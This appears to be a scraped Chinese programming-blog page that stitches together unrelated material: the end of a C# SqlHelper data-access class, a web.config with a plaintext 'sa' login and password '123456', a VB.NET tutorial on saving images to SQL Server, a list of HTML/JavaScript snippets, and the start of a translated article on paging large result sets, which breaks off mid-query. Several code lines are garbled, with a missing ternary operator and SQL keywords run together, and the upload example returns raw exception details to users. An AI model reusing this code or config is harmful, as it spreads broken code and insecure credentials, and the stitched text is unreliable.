                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Set the parameters values
                AssignParameterValues(commandParameters, dataRow);

                return SqlHelper.ExecuteXmlReader(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                return SqlHelper.ExecuteXmlReader(transaction, CommandType.StoredProcedure, spName);
            }
        }
        #endregion

    }

    /// <summary>
    /// SqlCommand缓存类
    /// </summary>
    public sealed class SqlHelperParameterCache
    {
        #region private methods, variables, and constructors

        //Since this class provides only static methods, make the default constructor private to prevent 
        //instances from being created with "new SqlHelperParameterCache()"
        private SqlHelperParameterCache() { }

        private static Hashtable paramCache = Hashtable.Synchronized(new Hashtable());

        /// <summary>
        /// 取出存储过程的参数列表
        /// </summary>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="includeReturnValueParameter">是否包含返回值参数</param>
        /// <returns>SqlParameter数组</returns>
        private static SqlParameter[] DiscoverSpParameterSet(SqlConnection connection, string spName, bool includeReturnValueParameter)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            SqlCommand cmd = new SqlCommand(spName, connection);
            cmd.CommandType = CommandType.StoredProcedure;

            connection.Open();
            SqlCommandBuilder.DeriveParameters(cmd);
            connection.Close();

            if (!includeReturnValueParameter)
            {
                cmd.Parameters.RemoveAt(0);
            }

            SqlParameter[] discoveredParameters = new SqlParameter[cmd.Parameters.Count];

            cmd.Parameters.CopyTo(discoveredParameters, 0);

            // Init the parameters with a DBNull value
            foreach (SqlParameter discoveredParameter in discoveredParameters)
            {
                discoveredParameter.Value = DBNull.Value;
            }
            return discoveredParameters;
        }

        /// <summary>
        /// 深度复制SqlParamter数组
        /// </summary>
        /// <param name="originalParameters">原始SqlParameter数组</param>
        /// <returns>SqlParameter数组</returns>
        private static SqlParameter[] CloneParameters(SqlParameter[] originalParameters)
        {
            SqlParameter[] clonedParameters = new SqlParameter[originalParameters.Length];

            for (int i = 0, j = originalParameters.Length; i < j; i++)
            {
                clonedParameters[i] = (SqlParameter)((ICloneable)originalParameters[i]).Clone();
            }

            return clonedParameters;
        }

        #endregion private methods, variables, and constructors

        #region caching functions

        /// <summary>
        /// 缓存参数数组
        /// </summary>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <param name="commandParameters">SqlParamters数组 to be cached</param>
        public static void CacheParameterSet(string connectionString, string commandText, params SqlParameter[] commandParameters)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (commandText == null || commandText.Length == 0) throw new ArgumentNullException("commandText");

            string hashKey = connectionString + ":" + commandText;

            paramCache[hashKey] = commandParameters;
        }

        /// <summary>
        /// 从缓存获取SqlCommand数组
        /// </summary>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <returns>SqlParamters数组</returns>
        public static SqlParameter[] GetCachedParameterSet(string connectionString, string commandText)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (commandText == null || commandText.Length == 0) throw new ArgumentNullException("commandText");

            string hashKey = connectionString + ":" + commandText;

            SqlParameter[] cachedParameters = paramCache[hashKey] as SqlParameter[];
            if (cachedParameters == null)
            {
                return null;
            }
            else
            {
                return CloneParameters(cachedParameters);
            }
        }

        #endregion caching functions

        #region Parameter Discovery Functions

        /// <summary>
        /// 取出存储过程的参数集
        /// </summary>
        /// <remarks>
        /// 查询数据库,并取出存储过程的参数集缓存起来
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <returns>SqlParamters数组</returns>
        public static SqlParameter[] GetSpParameterSet(string connectionString, string spName)
        {
            return GetSpParameterSet(connectionString, spName, false);
        }

        /// <summary>
        /// 取出存储过程的参数集
        /// </summary>
        /// <remarks>
        /// 查询数据库,并取出存储过程的参数集缓存起来
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="includeReturnValueParameter">A bool value indicating whether the return value parameter should be included in the results</param>
        /// <returns>SqlParamters数组</returns>
        public static SqlParameter[] GetSpParameterSet(string connectionString, string spName, bool includeReturnValueParameter)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                return GetSpParameterSetInternal(connection, spName, includeReturnValueParameter);
            }
        }

        /// <summary>
        /// 取出存储过程的参数集
        /// </summary>
        /// <remarks>
        /// 查询数据库,并取出存储过程的参数集缓存起来
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <returns>SqlParamters数组</returns>
        internal static SqlParameter[] GetSpParameterSet(SqlConnection connection, string spName)
        {
            return GetSpParameterSet(connection, spName, false);
        }

        /// <summary>
        /// 取出存储过程的参数集
        /// </summary>
        /// <remarks>
        /// 查询数据库,并取出存储过程的参数集缓存起来
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="includeReturnValueParameter">是否包含返回值参数</param>
        /// <returns>SqlParamters数组</returns>
        internal static SqlParameter[] GetSpParameterSet(SqlConnection connection, string spName, bool includeReturnValueParameter)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            using (SqlConnection clonedConnection = (SqlConnection)((ICloneable)connection).Clone())
            {
                return GetSpParameterSetInternal(clonedConnection, spName, includeReturnValueParameter);
            }
        }

        /// <summary>
        /// 取出存储过程的参数集
        /// </summary>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="includeReturnValueParameter">A bool value indicating whether the return value parameter should be included in the results</param>
        /// <returns>SqlParamters数组</returns>
        private static SqlParameter[] GetSpParameterSetInternal(SqlConnection connection, string spName, bool includeReturnValueParameter)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            string hashKey = connection.ConnectionString + ":" + spName + (includeReturnValueParameter   ":include ReturnValue Parameter" : "");

            SqlParameter[] cachedParameters;

            cachedParameters = paramCache[hashKey] as SqlParameter[];
            if (cachedParameters == null)
            {
                SqlParameter[] spParameters = DiscoverSpParameterSet(connection, spName, includeReturnValueParameter);
                paramCache[hashKey] = spParameters;
                cachedParameters = spParameters;
            }

            return CloneParameters(cachedParameters);
        }

        #endregion Parameter Discovery Functions

    }
}


以上是sqlhelper.cs代码,下面有下载

在web.config中 加入


 <appSettings>
    <!-- 连接字符串是否加密 -->
    <add key="ConStringEncrypt" value="false"/>
    <!-- 数据库连接字符串,(如果采用加密方式,上面一项要设置为true;加密工具,可在官方下载,
     		如果使用明文这样server=127.0.0.1;database=.....,上面则设置为false。 -->
    <add key="ConnectionString" value="server=127.0.0.1;database=acrossdb1;uid=sa;pwd=123456"/>
    <!--其它模块连接字符串,可以不断增加以便同一个项目支持连接多个数据库。如果没有,可以删除该行-->
    <add key="ConnectionString2" value="server=127.0.0.1;database=acrossdb2;uid=sa;pwd=123456"/>
    <!--虚拟目录名称(如果是站点,则为空) -->
    <add key="VirtualPath" value=""/>
    <!--登录页地址 -->
    <add key="LoginPage" value="admin/Login.aspx"/>
    <!--默认菜单是否是展开状态-->
    <add key="MenuExpanded" value="false"/>
    <!--实体对象内容缓村的时间(分钟)-->
    <add key="ModelCache" value="30"/>
  </appSettings>

如何在ASP.Net中把图片存入数据库

介绍

可能有很多的时候,我们急需把图片存入到数据库当中。在一些应用程序中,我们可能有一些敏感的资料,由于存储在文件系统(file system)中的东西,将很容易被某些用户盗取,所以这些数据不能存放在文件系统中。

在这篇文章中,我们将讨论怎样把图片存入到Sql2000当中。

在这篇文章中我们可以学到以下几个方面的知识:

1.插入图片的必要条件

2.使用流对象

3. 查找准备上传的图片的大小和类型

4.怎么使用InputStream方法?

插入图片的必要条件

在我们开始上传之前,有两件重要的事我们需要做:

#Form 标记的 enctype 属性应该设置成 enctype=”multipart/form-data”

# 需要一个<input type=file>表单来使用户选择他们要上传的文件,同时我们需要导入 System.IO名称空间来处理流对象

把以上三点应用到aspx页面。同时我们需要对SqlServer做以下的准备。

# 需要至少含有一个图片类型的字段的表

# 如果我们还有另外一个变字符类型的字段来存储图片类型,那样会更好一些。

现在,我们准备了一个Sql表(包含了一个image数据类型的字段),还有<input type=file>标记。当然我们还得准备Submit按钮,以便用户在选择了图片以后提交。在这个按钮的Onclick事件里,我们需要读取选取图片的内容,然后把它存入到表里。那我们先来看看这个Onclick事件。

提交按钮的Onclick事件的代码:

Dim intImageSize As Int64
Dim strImageType As String
Dim ImageStream As Stream

‘ Gets the Size of the Image
intImageSize = PersonImage.PostedFile.ContentLength

‘ Gets the Image Type
strImageType = PersonImage.PostedFile.ContentType

‘ Reads the Image
ImageStream = PersonImage.PostedFile.InputStream

Dim ImageContent(intImageSize) As Byte
Dim intStatus As Integer
intStatus = ImageStream.Read(ImageContent, 0, intImageSize)

‘ Create Instance of Connection and Command Object
Dim myConnection As New SqlConnection(ConfigurationSettings.AppSettings(“ConnectionString”))
Dim myCommand As New SqlCommand(“sp_person_isp”, myConnection)

‘ Mark the Command as a SPROC
myCommand.CommandType = CommandType.StoredProcedure

‘ Add Parameters to SPROC
Dim prmPersonImage As New SqlParameter(“@PersonImage”, SqlDbType.Image)
prmPersonImage.Value = ImageContent
myCommand.Parameters.Add(prmPersonImage)

Dim prmPersonImageType As New SqlParameter(“@PersonImageType”, SqlDbType.VarChar, 255)
prmPersonImageType.Value = strImageType
myCommand.Parameters.Add(prmPersonImageType)

Try
myConnection.Open()
myCommand.ExecuteNonQuery()
myConnection.Close()
Response.Write(“New person successfully added!”)
Catch SQLexc As SqlException
Response.Write(“Insert Failed. Error Details are: ” & SQLexc.ToString())
End Try

这是怎么工作的呢?
PersonImage是HTMLInputFile控件的对象。首先需要获得图片的大小,可以使用下面的代码实现:

intImageSize = PersonImage.PostedFile.ContentLength

然后返回图片的类型使用ContenType属性。最后,也是最重要的事就是取得Image Stream,这可以用以下代码实现:

ImageStream = PersonImage.PostedFile.InputStream

我们需要一个字节型数组来存储image 内容。读取整个图片可以使用Stream对象的Read方法来实现。Read(in byte[] buffer,int offset,int count)方法有三个参数。【关于Read方法的详细可以参看.Net FrameWorkSDK】他们是:

buffer

字节数组。此方法返回时,该缓冲区包含指定的字符数组,该数组的 offset 和 (offset + count) 之间的值由从当前源中读取的字节替换。

offset

buffer 中的从零开始的字节偏移量,从此处开始存储从当前流中读取的数据。

count

要从当前流中最多读取的字节数。

这个Read方法用以下代码实现:
intStatus = ImageStream.Read(ImageContent, 0, intImageSize)
.

现在,我们已经读取了整个图片的内容,下一步,我们要把这些内容存入到sql 表。我们将使用存储过程来完成插入图片类型和图片内容到sql 表。如果你浏览了上面的代码,你将会发现我们使用了sqldbtype.image的数据类型(datatype)。Ok了,完成了这些,我们也就成功的把图片存入到SqlServer中了。下面是我们编写的aspx页面。

结论

我们已经讨论了如何把图片存入到Sql Server,那么我们如何从SqlServer中读取图片呢?可以参看我的另一篇文章:在Asp.Net中从SqlServer中检索图片。

js应用2

xml 代码
  1. 1.文本框焦点问题   
  2. onBlur:当失去输入焦点后产生该事件   
  3. onFocus:当输入获得焦点后,产生该文件   
  4. Onchange:当文字值改变时,产生该事件   
  5. Onselect:当文字加亮后,产生该文件   
  6.   
  7. <input type=“text” value=“郭强” onfocus=“if(value==’郭强’) {value=”}” onblur=”if    
  8. (value==”) {value=‘郭强’}”>点击时文字消失,失去焦点时文字再出现   
  9.   
  10.   
  11. 2.网页按钮的特殊颜色   
  12. <input type=button name=“Submit1” value=“郭强” size=10 class=s02    
  13.   
  14. style=“background-color:rgb(235,207,22)”>  
  15.   
  16. 3.鼠标移入移出时颜色变化   
  17. <input type=“submit” value=“找吧” name=“B1” onMouseOut=this.style.color=“blue”    
  18.   
  19. onMouseOver=this.style.color=“red”  class=“button”>  
  20.   
  21. 4.平面按钮   
  22. <input type=submit value=订阅 style=”border:1px solid :#666666; height:17px; width:25pt; font-size:9pt;    
  23.   
  24. BACKGROUND-COLOR: #E8E8FF; color:#666666″ name=“submit”>  
  25.   
  26. 5.按钮颜色变化   
  27. <input type=text name=“nick”  style=”border:1px solid #666666;  font-size:9pt;  height:17px;    
  28.   
  29. BACKGROUND-COLOR: #F4F4FF; color:#ff6600″ size=“15” maxlength=“16”>  
  30.   
  31. 6.平面输入框   
  32. <input type=“text” name=“T1” size=“20” style=“border-style: solid; border-width: 1”>  
  33.   
  34. 7.使窗口变成指定的大小   
  35. <script>  
  36. window.resizeTo(300,283);   
  37. </script>  
  38.   
  39. 8.使文字上下滚动   
  40. <marquee direction=up scrollamount=1 scrolldelay=100 onmouseover=‘this.stop()’ onmouseout=‘this.start()’    
  41.   
  42. height=60>  
  43. <!– head_scrolltext –>  
  44. <tr>  
  45. <td>  
  46. 共和国   
  47. </table>        <!– end head_scrolltext –>  
  48. </marquee>  
  49.   
  50. 9.状态栏显示该页状态   
  51. <base onmouseover=“window.status=’网站建设 http://www.webmake.cn/’ ;return true”>  
  52.   
  53. 10.可以点击文字实现radio选项的选定   
  54. <br>  
  55. &nbsp;&nbsp;&nbsp;&nbsp;<input type=“radio” name=“regtype” value=“A03” id=“A03”>  
  56. <label for=“A03”> 情侣 : 一次注册两个帐户</label> <br>  
  57.   
  58. 11.可以在文字域的font写onclick事件   
  59.   
  60. 12.打印</a>打印网页   
  61. <a href=‘javascript:window.print ()’>  
  62.   
  63. 13.线型输入框   
  64. <input type=“text” name=“key”  size=“12” value=“关键字” onFocus=this.select() onMouseOver=this.focus()    
  65.   
  66. class=“line”>  
  67.   
  68. 14.显示文档最后修改日期   
  69. <script language=javascript>  
  70. function hi(str)   
  71. {   
  72.  document.write(document.lastModified)   
  73.   
  74.  alert(“hi”+str+”!”)   
  75. }   
  76. </script>  
  77.   
  78. 15.可以在鼠标移到文字上时就触发事件   
  79. <html>  
  80. <head>  
  81. <script language=“LiveScript”>  
  82. <!– Hiding   
  83.      function hello() {   
  84.        alert(“哈罗!”);   
  85.      }   
  86. </script>  
  87. </head>  
  88. <body>  
  89. <a href=“” onMouseOver=“hello()”>link</a>  
  90. </body>  
  91. </html>  
  92.   
  93. 16.可以根据网页上的选项来确定页面颜色   
  94. <HTML>  
  95. <HEAD>  
  96.  <TITLE>background.html</TITLE>  
  97. </HEAD>  
  98. <SCRIPT>  
  99. <!–   
  100.   
  101. function bgChange(selObj) {   
  102.  newColor = selObj.options[selObj.selectedIndex].text;   
  103.  document.bgColor = newColor;   
  104.  selObj.selectedIndex = -1;   
  105.  }   
  106.   
  107. //–>  
  108. </SCRIPT>  
  109. <BODY STYLE=“font-family:Arial”>  
  110. <B>Changing Background Colors</B>  
  111. <BR>  
  112.  <FORM>  
  113.   <SELECT SIZE=“8” onChange=“bgChange(this);”>  
  114.   <OPTION>Red   
  115.   <OPTION>Orange   
  116.   <OPTION>Yellow   
  117.   <OPTION>Green   
  118.   <OPTION>Blue   
  119.   <OPTION>Indigo   
  120.   <OPTION>Violet   
  121.   <OPTION>White   
  122.  <OPTION>pink   
  123.   </SELECT>  
  124.  </FORM>  
  125. </BODY>  
  126. </HTML>  
  127.   
  128. 17.将按钮的特征改变   
  129. <style type=“text/css”>  
  130. <!–   
  131. .style1 { font-size: 12px; background: #CCCCFF; border-width: thin thin thin thin; border-color: #CCCCFF    
  132.   
  133. #CCCCCC #CCCCCC #CCCCFF}   
  134. .style2 { font-size: 12px; font-weight: bold; background: #CCFFCC; border-width: thin medium medium thin;    
  135.   
  136. border-color: #CCFF99 # 9 # 9 #CCFF99}   
  137. >  
  138. </style>    
  139.   本例按钮的代码如下:   
  140. <input type=“submit” name=“Submit” value=“提 交” onmouseover=“this.className=’style2′”    
  141.   
  142. onmouseout=“this.className=’style1′” class=“style1”>    
  143.   
  144. 18.改变按钮的图片.   
  145. <style type=“text/css”>  
  146. <!–   
  147. .style3 { font-size: 12px; background: url(image/buttonbg1.gif); border: 0px; width: 60px; height: 22px}   
  148. .style4 { font-size: 12px; font-weight: bold; background: url(image/buttonbg2.gif); border: 0px 0; width:    
  149.   
  150. 60px; height: 22px}   
  151. >  
  152. </style>    
  153.   本例的按钮代码如下:    
  154. <input type=“submit” name=“Submit2” value=“提 交” onmouseover=“this.className=’style4′”    
  155.   
  156. onmouseout=“this.className=’style3′” class=“style3”>  
  157.   
  158. 19.打印页面   
  159. <div align=“center”><a class=content href=“javascript:doPrint();”>打印本稿</a></div>  
  160.   
  161. 20.可以直接写html语言   
  162. document.write(“”);   
  163.   
  164. 21.改变下拉框的颜色   
  165. <select name=“classid”    
  166.   
  167. onChange=“changelocation(document.myform.classid.options[document.myform.classid.selectedIndex].value)”    
  168.   
  169. size=“1” style=“color:#008080;font-size: 9pt”>    
  170.   
  171. 22.转至目标URL   
  172. window.location=“http://guoguo”  
  173.   
  174. 23.传递该object的form   
  175. UpdateSN(‘guoqiang99267’,this.form)    
  176. function UpdateSN(strValue,strForm)   
  177. {   
  178.   strForm.SignInName.value = strValue;   
  179.   return false;   
  180. }   
  181.   
  182. 24.文字标签   
  183. <label for=“AltName4”><input name=“AltName” type=“RADIO” tabindex=“931”  id=“AltName4”    
  184.   
  185. >guoqiang99859</label>  
  186.   
  187. 25.layer2为组件的ID,可以控制组件是否可见   
  188. document.all.item(‘Layer2’).style.display = “block”;   
  189. document.all.item(‘Layer2’).style.display = “none”;//   
  190.   
  191. 26.将页面加入favorite中   
  192. <script language=javascript>    
  193. <!–    
  194. function Addme(){    
  195. url = “http://your.site.address”; //你自己的主页地址    
  196. title = “Your Site Name”; //你自己的主页名称    
  197. window.external.AddFavorite(url,title);    
  198. >    
  199. </script>//    
  200.   
  201. 27.过10秒自动关闭页面   
  202. < script language=“JavaScript” >  
  203. function closeit() {   
  204. setTimeout(“self.close()”,10000)   
  205. }   
  206. < /script >  
  207.   
  208. 28.可以比较字符的大小   
  209. char=post.charAt(i);   
  210. if(!(‘0’<=char&&char<=’9′))   
  211.   
  212. 29.将字符转化为数字   
  213. month = parseInt(char)   
  214.   
  215. 30.点击value非空的选项时转向指定连接   
  216.  <select onchange=‘if(this.value!=””)window.open(this.value)’ class=“textinput”>  
  217.     <option selected>主办单位</option>  
  218.     <option>—————–</option>  
  219.     <option value=“http://www.bjd.com.cn/”>北京日报</option>  
  220.     <option value=“http://www.ben.com.cn/”>北京晚报</option>  
  221. </select>  
  222.   
  223. 31.改变背景颜色   
  224. <td width=* class=dp bgColor=#FAFBFC onmouseover=“this.bgColor=’#FFFFFF’;”    
  225.   
  226. onmouseout=“this.bgColor=’#FAFBFC’;”>  
  227.   
  228. 32.改变文字输入框的背景颜色   
  229. <style>  
  230. .input2 {background-image: url(‘../images/inputbg.gif’);   font-size: 12px; background-color:    
  231.   
  232. #D0DABB;border-top-width:1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}   
  233. </style>  
  234. <input name=content type=text size=“47” class=“input2” maxlength=“50”>  
  235.   
  236. 33.改变水平线的特征   
  237. <hr size=“0” noshade color=“#C0C0C0”>  
  238.   
  239. 34.传递参数的方式   
  240. <a href=“vote.asp CurPage=8&id=3488”>8</a>  
  241.   
  242. 35.页内跳转   
  243. <a href=“#1”>1</a>  
  244. <a href=“#2”>2</a>  
  245. <a href=“#3”>3</a>  
  246. <a href=“#4”>4</a>  
  247. <a href=“#5”>5</a>  
  248. <a href=“#6”>6</a>  
  249. <a href=“#7”>7</a>  
  250. <a name=“1”>dfdf</a>  
  251. <a name=“2”>dfdf</a>//   
  252.   
  253. 36.两个按键一起按下   
  254. if(event.ctrlKey && window.event.keyCode==13)//   
  255.   
  256. 37.刷新页面   
  257. javascript:this.location.reload()//   
  258.   
  259. 38.将网页的按钮使能   
  260. <SCRIPT LANGUAGE=“JavaScript”>  
  261. function haha()   
  262. {   
  263.  for(var i=0;i<document.form1.elements.length;i++)   
  264.  {   
  265.   if(document.form1.elements[i].name.indexOf(“bb”)!=-1)   
  266.    document.form1.elements[i].disabled=!document.form1.elements[i].disabled;   
  267.  }   
  268. }   
  269. </SCRIPT>  
  270. <BODY><form name=form1>  
  271. <INPUT TYPE=“button” NAME=“aa “  value=cindy onclick=haha()>  
  272. <INPUT TYPE=“button” NAME=“bb “ value=guoguo>  
  273. <INPUT TYPE=“button” NAME=“bb “ value=guoguo>  
  274.   
  275. 39.文字移动   
  276. <marquee scrollamount=3 onmouseover=this.stop(); onmouseout=this.start();>  
  277.   
  278. 40.双击网页自动跑   
  279. <SCRIPT LANGUAGE=“JavaScript”>  
  280. var currentpos,timer;    
  281. function initialize()    
  282. {    
  283.  timer=setInterval(“scrollwindow()”,1);   
  284. }    
  285. function sc()   
  286. {   
  287.  clearInterval(timer);   
  288. }   
  289. function scrollwindow()    
  290. {   
  291.  currentpos=document.body.scrollTop;   
  292.  window.scroll(0,++currentpos);   
  293.  if (currentpos != document.body.scrollTop)    
  294.   sc();   
  295. }    
  296. document.onmousedown=sc  
  297. document.ondblclick=initialize  
  298. </SCRIPT>//   
  299.   
  300. 41.后退   
  301. <INPUT TYPE=“button” onclick=window.history.back() value=back>  
  302.   
  303. 42.前进   
  304. <INPUT TYPE=“button” onclick=window.history.forward() value=forward>  
  305.   
  306. 43.刷新   
  307. <INPUT TYPE=“button” onclick=document.location.reload() value=reload>  
  308.   
  309. 44.转向指定网页   
  310. document.location=“http://ww”或者document.location.assign(“http://guoguo.com”)   
  311.   
  312. 45.在网页上显示实时时间   
  313. <SCRIPT LANGUAGE=“JavaScript”>  
  314. var clock_id;   
  315. window.onload=function()   
  316. {   
  317.  clock_id=setInterval(“document.form1.txtclock.value=(new Date);”,1000)   
  318. }   
  319. </SCRIPT>//   
  320.   
  321. 46.可以下载文件    
  322. document.location.href=“目标文件”//   
  323.   
  324. 47.连接数据库   
  325. import java.sql.*;   
  326. String myDBDriver=“sun.jdbc.odbc.JdbcOdbcDriver”;   
  327. Class.forName(myDBDriver);   
  328. Connection conn=DriverManager.getConnection(“jdbc:odbc:firm”,”username”,”password”);   
  329. Statement stmt=conn.createStatement();   
  330. ResultSet rs=stmt.executeQuery(sql);   
  331. rs.getString(“column1”);//   
  332.   
  333. 48.可以直接在页面“div”内写下所需内容   
  334. <INPUT TYPE=“button” onclick=“a1.innerHTML='<font color=red>*</font>'”>  
  335. <div id=a1></div>//   
  336.   
  337. 49.可以改变页面上的连接的格式,使其为双线   
  338. <style>  
  339. A:link {text-decoration: none; color:#0000FF; font-family: 宋体}   
  340. A:visited {text-decoration: none; color: #0000FF; font-family: 宋体}   
  341. A:hover {text-decoration: underline overline; color: FF0000}   
  342. </style>  
  343.   
  344. <style>  
  345. A:link {text-decoration: none; color:#0000FF; font-family: 宋体}   
  346. A:visited {text-decoration: none; color: #0000FF; font-family: 宋体}   
  347. A:hover {text-decoration: underline overline line-through; color: FF0000}   
  348. TH{FONT-SIZE: 9pt}   
  349. TD{FONT-SIZE: 9pt}   
  350. body {SCROLLBAR-FACE-COLOR: #A9D46D; SCROLLBAR-HIGHLIGHT-COLOR: #e7e7e7;SCROLLBAR-SHADOW-COLOR:#e7e7e7;    
  351.   
  352. SCROLLBAR-3DLIGHT-COLOR: #000000; LINE-HEIGHT: 15pt; SCROLLBAR-ARROW-COLOR: #ffffff;    
  353.   
  354. SCROLLBAR-TRACK-COLOR: #e7e7e7;}   
  355.   
  356. INPUT{BORDER-TOP-WIDTH: 1px; PADDING-RIGHT: 1px; PADDING-LEFT: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE:    
  357.   
  358. 9pt; BORDER-LEFT-COLOR: #cccccc;    
  359. BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: #cccccc; PADDING-BOTTOM: 1px; BORDER-TOP-COLOR: #cccccc;    
  360.   
  361. PADDING-TOP: 1px; HEIGHT: 18px; BORDER-RIGHT-WIDTH: 1px; BORDER-RIGHT-COLOR: #cccccc}   
  362. DIV,form ,OPTION,P,TD,BR{FONT-FAMILY: 宋体; FONT-SIZE: 9pt}    
  363. textarea, select {border-width: 1; border-color: #000000; background-color: #efefef; font-family: 宋体;    
  364.   
  365. font-size: 9pt; font-style: bold;}   
  366. .text { font-family: “宋体”; font-size: 9pt; color: #003300; border: #006600 solid; border-width: 1px 1px    
  367.   
  368. 1px 1px}   
  369. </style>完整的css   
  370.   
  371.   
  372. 50.新建frame   
  373. <a    
  374.   
  375. href=”javascript:newframe(‘http://www.163.net/help/a_little/index.html’,’http://www.163.net/help/a_little   
  376.   
  377. /a_13.html’)”><img alt=帮助 border=0 src=“http://bjpic.163.net/images/mail/button-help.gif”></a>  
  378.   
  379. 51.向文件中写内容   
  380. <%@ page import=“java.io.*” %>  
  381. <%   
  382.  String str = “print me”;   
  383.  //always give the path from root. This way it almost always works.   
  384.  String nameOfTextFile = “/usr/anil/imp.txt”;   
  385.  try   
  386.  {    
  387.   PrintWriter pw = new PrintWriter(new FileOutputStream(nameOfTextFile));   
  388.   pw.println(str);   
  389.   //clean up   
  390.   pw.close();   
  391.  }   
  392.  catch(IOException e)   
  393.  {   
  394.   out.println(e.getMessage());   
  395.  }   
  396. %>  
  397.   
  398. 52.先读文件再写文件   

ASP.NET中大结果集的分页[翻译]

原文地址:http://www.codeproject.com/aspnet/PagingLarge.asp
作者:Jasmin Muharemovic
译者:Tony Qu(来自BluePrint翻译团队)

下载:
PagingTest Solution (C#) – 55.8 Kb
Paging_Procedures SQL script – 2.48 Kb
Paging_LargeTable SQL script – 0.6 Kb

介绍
在Web应用程序中,对一个大数据库结果集进行分页已经是一个家喻户晓的问题了。简单的说,你不希望所有的查询数据显示在一个单独的页面中,所以带有分页的显示才是更合适的。虽然在传统的asp里这并不是一个简单的任务,但在asp.net中,DataGrid控件把这一过程简化为只有几行代码。因此,在 asp.net中,分页很简单,但是默认的DataGrid分页事件会从数据库中把所有的记录全部读出来放到asp.net web应用程序中。当你的数据在一百万以上的时候,这将引起严重的性能问题(如果你不相信,你可以在你的应用程序中执行一个查询,然后在任务管理器中查看 aspnet_wp.exe的内存消耗情况)这也就是为什么需要自定义分页行为,这样可以保证仅获得当前页需要的数据记录。

在网上有很多关于这个问题的文章和帖子,还有一些成熟的解决方案。我写这篇文章的目的不是向你展示一个可以解决一切问题的存储过程,而是出于优化已有方法,同时为你提供一个可供测试的应用程序,这样你就可以根据自己的需要进行开发。下文是一个很好的开始,它包含了很多不同的方法,并且给出了一些性能测试结果

《如何通过Recordset进行分页?》

但是我对上文的大部分内容不是很满意。第一,半数的方法是用了传统的ADO,很明显它们是为“古老”的asp而写的。剩下的一些方法就是SQL Server存储过程,并且其中的一些由于相应时间过慢而无法使用,正如你在文章最后所看到的性能结果一样,但是还是有一些引起了我的注意。

通用化
我决定对其中的三个方法进行仔细的分析,它们是临时表(TempTable),动态SQL(DynamicSQL)和行计数 (Rowcount)。在下文中,我更愿意把第二个方法称为(升序-降序)Asc-Desc方法。我不认为动态SQL是一个好名字,因为你也可以把动态 SQL逻辑应用于另一个方法中。所有这些存储过程的通病在于,你不得不估计哪些列是你即将要排序的,而不仅仅是估计主键列(PK Columns)而已,这可能导致一系列的问题——对于每个查询来说,你需要通过分页显示,也就是说对于每不同的排序列你必须有许多不同的分页查询,这意味着你要么给每个排序列做不同的存储过程(无论使用哪种分页方法),也么你必须借助动态SQL的帮助把这个功能放在一个存储过程中。这两个方法对于性能有微小的影响,但是它增加了可维护性,特别是当你需要使用这个方法显示不同的查询。因此,在本文中我会尝试使用动态SQL对所有的存储过程进行归纳,但是由于一些原因,我们只能对实现部分的通用性,因此你还是得为复杂查询写独立的存储过程。

允许包括主键列在内的所有排序字段的第二个问题在于,如果那些列没有作适当的索引,那么这些方法一个也帮不上忙。在所有这些方法中,对于一个分页源必须先做排序,对于大数据表来说,使用非索引列排序的成本是可以忽略不计的。在这种情况下,由于相应时间过长,所有的存储过程都是无法在实际情况下使用的。(相应的时间各有不同,从几秒钟到几分钟不等,这要根据表的大小和所要获得的第一个记录而定)。其他列的索引会带来额外的不希望出现的性能问题,例如如果你每天的导入数据很多,它有可能变得很慢。

临时表
首先,我准备先来说一下临时表方法,这是一个广泛被建议使用的解决方案,我在项目中遇到过好几次了,这里有另一篇解释它如何工作的文章,还有一个如何在DataGrid中是用定制化分页(Custom Paging)的例子:

ASP.NET DataGrid分页 第二部分 – 定制化分页

这两篇文章中的方法都是通过把主键数据拷贝到临时表中,然后对主查询做join实现查询优化。下面让我们来看看这个方法的实质:

<!–<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>–>CREATETABLE#Temp(
ID
intIDENTITYPRIMARYKEY,
PK
/*heregoesPKtype*/
)

INSERTINTO#TempSELECTPKFROMTableORDERBYSortColumn

SELECTFROMTableJOIN#TemptempONTable.PK=temp.PKORDERBYtemp.ID
WHEREID>@StartRowANDID<@EndRow

通过把所有的行拷贝到临时表中,我们可以对查询进一步的优化(SELECT TOP EndRow …),但是关键在于最坏情况——一个包含100万记录的表就会产生一个100万条记录的临时表。考虑到这样的情况,再看看上面文章的结果,我决定在我的测试中放弃该方法

升序-降序
这个方法在子查询中使用默认排序,在主查询中使用反向排序,原理是这样的:

<!–<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>–>DECLARE@tempTABLE(
PK
/*PKType*/NOTNULLPRIMARY
)

INSERTINTO@temp
SELECTTOP@PageSizePKFROM(
SELECTTOP(@StartRow+@PageSize)
PK,
SortColumn
